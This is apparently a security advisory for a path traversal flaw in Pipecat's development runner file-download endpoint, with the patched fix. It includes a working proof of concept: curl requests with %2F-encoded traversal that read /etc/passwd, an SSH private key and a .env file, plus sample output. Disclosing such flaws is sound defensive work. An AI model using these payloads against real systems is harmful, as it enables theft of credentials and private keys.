| Package | Affected versions | Patched versions |
|---|---|---|
| pipecat-ai | ≥ 0.0.90, < 1.2.0 | 1.2.0 |
| pipecat | ≥ 0.0.90, < 1.2.0 | 1.2.0 |
A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.
Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.
The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:
@app.get("/files/{filename:path}")
async def download_file(filename: str):
"""Handle file downloads."""
if not args.folder:
logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
return
file_path = Path(args.folder) / filename # ← no containment check
if not os.path.exists(file_path):
raise HTTPException(404)
media_type, _ = mimetypes.guess_type(file_path)
return FileResponse(path=file_path, media_type=media_type, filename=filename)
Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the URL path before the route handler runs, but it decodes percent-encoded characters inside the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.
For example:
GET /files/..%2F..%2Fetc%2Fpasswd
↓
filename = "../../etc/passwd" (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
= Path("/tmp/media/../../etc/passwd")
→ resolves to /etc/passwd (os.path.exists returns True)
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Scan my site freeThe endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.
--folderThe runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:
# minimal_bot.py
async def bot(runner_args):
import asyncio
await asyncio.sleep(86400)
if __name__ == "__main__":
from pipecat.runner.run import main
main()
Start the runner:
pip install "pipecat-ai[runner,webrtc]"
mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt
python minimal_bot.py \
-t webrtc \
--host 127.0.0.1 \
--port 7860 \
--folder /tmp/bot_media
Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" />
# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript
# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}
# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
# root:*:0:0:System Administrator:/var/root:/bin/sh
# ...
# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXktdjEAAAA...
# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"
| Request | HTTP status | Content |
|---|---|---|
GET /files/recording.txt | 200 | Legitimate file |
GET /files/../../etc/passwd | 404 | Blocked — literal .. normalised away |
GET /files/..%2F..%2Fetc%2Fpasswd | 200 | Full /etc/passwd |
GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa | 200 | RSA private key (BEGIN OPENSSH PRIVATE KEY) |
The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.
An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:
.env files and application credentials/etc/passwd and /etc/shadow (on Linux)--folderCall .resolve() on both the base path and the joined path, then assert containment with is_relative_to:
@app.get("/files/{filename:path}")
async def download_file(filename: str):
if not args.folder:
logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
return
allowed_base = Path(args.folder).resolve()
file_path = (allowed_base / filename).resolve() # resolve AFTER join
if not file_path.is_relative_to(allowed_base): # containment check
raise HTTPException(status_code=403, detail="Access denied")
if not file_path.exists():
raise HTTPException(status_code=404)
media_type, _ = mimetypes.guess_type(file_path)
return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)
Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.